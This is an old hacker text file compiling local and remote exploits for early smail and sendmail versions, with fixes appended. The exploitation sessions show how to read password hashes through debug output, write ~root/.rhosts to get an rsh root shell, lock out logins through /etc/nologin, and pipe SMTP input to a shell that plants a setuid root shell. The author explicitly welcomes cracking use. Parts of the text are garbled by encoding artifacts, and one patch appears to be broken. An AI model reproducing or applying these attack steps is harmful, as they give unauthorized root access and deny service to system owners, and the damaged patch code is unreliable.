from Hacknet, Postmaster@hacknet.demon.co.uk

Introduction and Legal Ramble

This is written for anyone thats interested in learning about the many Security holes that are resident in many versions of
Sendmail. I do not care if you use it to protect your system against others, or crack other ppls systems...just don't involve me in
it. 

I wrote it to collate all the information on sendmail into one list for convience and perhaps it will help some people. 

I would like to thank the unknown person who started this off long time ago.... 

This paper is (c) 1995, however I do not object, to you including any of these in a FAQ, printed magazine, book etc... just mail
me first so I known where it's distributed *:^) 

Have you spotted a mistake or anything I could add? Then just add your own stuff and put yourself down on the credits and
mail it me :) 

Note: This is v.01b so there is bound to be mistakes and there are a lot of other stuff to add as well....and expand it to include
FTP daemon bugs?
I am extremely busy..and am only releasing it due to popular demand. 

OH, please tell me what versions these work on! 



Bug #1

Sendmail Version affected: 3.1.28, any more ? 

SYNOPSIS

Use of ~/.forward and debug lets a local user read any file on the system. 

EXAMPLE OF EXPLOITATION

Contrary to popular belief, adding -smtp_debup to your smail config file will not prevent this bug from occuring. It will just
prevent exploitation via the smtp port. 

We can just do this.... 

user@psyops ~> smail -bs -v20
expand_string($primary_name Smail$version ready for mail on $date,(null),
(null)) called
expand_string returns psyops.warez.mil Smail3.1.28.1 ready for mail on
Mon, 5 Sep 94 12:15 PDT
220 psyops.warez.mil Smail3.1.28.1 ready for mail on Mon, 5 Sep 94 12:15
PDT
expn user

[same text as before]

expand_string(~/.forward, /home/user, user) called
expand_string returns /home/user/.forward
dtd_forwardfile:  opening forward file /home/user/.forward

[more of same text]

read 890 bytes
director dotforward: matched user, forwarded to
root:e.fmSewuS32sfeVdsjk/Ewef:8000:0:99999:7:::
bin:*:8000:0:99999:7:::
daemon:*:8000:0:99999:7:::
nobody:*:8000:0:99999:7:::
user:e74fds.Sfdsioa8e2dsskDSx:8000:0:99999:7:::
[.....]


process_field: entry
We have a group
We have a group
process_field: error: recursive address group
550 user ... not matched
quit
221 psyops.warez.mil closing connection

To fix this, you should get rid of the -d and -v options for smail as well as adding -smtp_debug to your config file. 



Bug #2

Sendmail Version affected: 3.1.28, any more ? 

SYNOPSIS

Smail called with the -D flag will allow you to create and append to any file on the system. 

EXAMPLE OF EXPLOITATION

user@psyops ~> cat > ~/.forward

localhost user
^D
user@psyops ~> smail -bs -D ~root/.rhosts -v20
220 psyops.warez.mil Smail3.1.28.1 ready for mail on Mon, 5 Sep 94 12
:23 PDT
expn user
250 user
quit
221 psyops.warez.mil closing connection

user@psyops ~> rsh -l root localhost tcsh\ -i
Warning: no access to tty (Bad file number).
Thus no job control in this shell.
# id
uid=3D0(root) gid=3D0(root)

Patch this by removing the -D option from smail. 

I received the following patch recently. I haven't tested it, so use at your own risk. 

*** Omain.c     Wed Mar 11 12:33:18 1993
--- main.c      Wed Mar 11 12:59:54 1993
***************
*** 436,458 ****
      }

-     /*
-      * change error file to debugging file from -D option, if any
-      */
-
-     if (arg_debug_file) {
-       new_errfile =3D fopen(arg_debug_file, "a");
-       if (new_errfile =3D=3D NULL) {
-           write_log(LOG_TTY, "Warning: Cannot open debug file %s: %s\n",
-                     arg_debug_file, strerrno(errno));
-           arg_debug_file =3D NULL;
-       } else {
-           errfile =3D new_errfile;
-           fprintf(errfile, "\n%s: Debugging started: pid=3D%ld\n\n",
-                   program, (long)getpid());
-       }
-     }

      /*
       * read in the transport, router and director files, if needed
       *
       * NOTE: if queue_only is FALSE and mode is DELIVER_MAIL,
--- 436,441 ----
***************
*** 525,530 ****
--- 508,537 ----
      if (prog_euid !=3D REQUIRED_EUID)
      queue_only =3D TRUE;
  #endif

+     /*
+      * change error file to debugging file from -D option, if any
+      *
+      * JMJ: Change location of this fragment to below the setuid/setgid
+      *      calls to allow for use of fopen_as_user() instead of just
+      *      fopen().
+      *
+      *      Side effect: -D now requires full pathname to debug file
+      */
+
+     if (arg_debug_file) {
+       new_errfile =3D fopen_as_user(arg_debug_file, "a", 1, real_uid,
+           prog_egid, 0600);
+           write_log(LOG_TTY, "Warning: Cannot open debug file %s: %s\n",
+                     arg_debug_file, strerrno(errno));
+           arg_debug_file =3D NULL;
+       } else {
+           errfile =3D new_errfile;
+           fprintf(errfile, "\n%s: Debugging started: pid=3D%ld\n\n",
+                   program, (long)getpid());
+       }
+     }

      /*
       * error processing can be other than TERMINAL only for



Bug #3

Sendmail Version affected: ? 

SYNOPSIS

Files specified in ~/.forward can be created in any directory, regardless of it's permissions. (File is still owned by mailbox
owner, however.) 

EXAMPLE OF EXPLOITATION

user@psyops ~> echo "/etc/nologin" > ~/.forward
user@psyops ~> mail -r root user < /dev/null
user@psyops ~> echo "Site shutdown due to smail lameness" >!  /etc/no=
login
user@psyops ~> rlogin localhost
Site shutdown due to smail lameness
rlogin: connection closed.

Plug up this hole by adding 'check_path' to the following part of your /usr/lib/smail/transports file: 

[...]
# file - deliver mail to files
#
# This is used implicitly when smail encounters addresses which begin with
# a slash or squiggle character, such as "/usr/info/list_messages" or
# perhaps "~/Mail/inbox".
file:   driver =3D appendfile,
return_path, local, from, unix_from_hack;

file =3D $user,                   # file is taken from address
append_as_user,                 # use user-id associated with address
expand_user,                    # expand ~ and $ within address
check_path,   #<--add this line
suffix =3D "\n",
mode =3D 0644
[....]



BUG #4

Version affected: 5.65? 

from CSC FAQ: 

A SAMPLE EXPLOITATION

A sample session follows. 

---cut here
[panix!jhawk] |% telnet panix.com 25
Trying 198.7.0.2 ...
Connected to panix.com.
Escape character is '^]'.
220 panix.com 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13
-0500
HELO
250 Hello panix.com, why do you call yourself ?
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: root
250 root... Recipient ok
DATA
354 Enter mail, end with @.@ on a line by itself
 From: jhawk"panix.com (John Hawkinson)
  To: jhawk"panix.com (John Hawkinson)
  Return-Receipt-To: |foobar
  Subject: This is a large hole in the ground.
  X-Disclaimer: We take no responsibility for what might happen


  Hi there. Wanna play ball?

  #!/bin/sh
  #The above line is just in case :-)
  echo This is a Serious Bug > /tmp/bug
  echo id reports: >> /tmp/bug
  /usr/bin/id >> /tmp/bug
  echo Fixing this would be good >> /tmp/bug
  cp /bin/sh /tmp/bugshell
  chmod u+s /tmp/bugshell
  echo /tmp/bugshell contains a setuid daemon shell >> /tmp/bug
  chmod ugo+rx /tmp/bugshell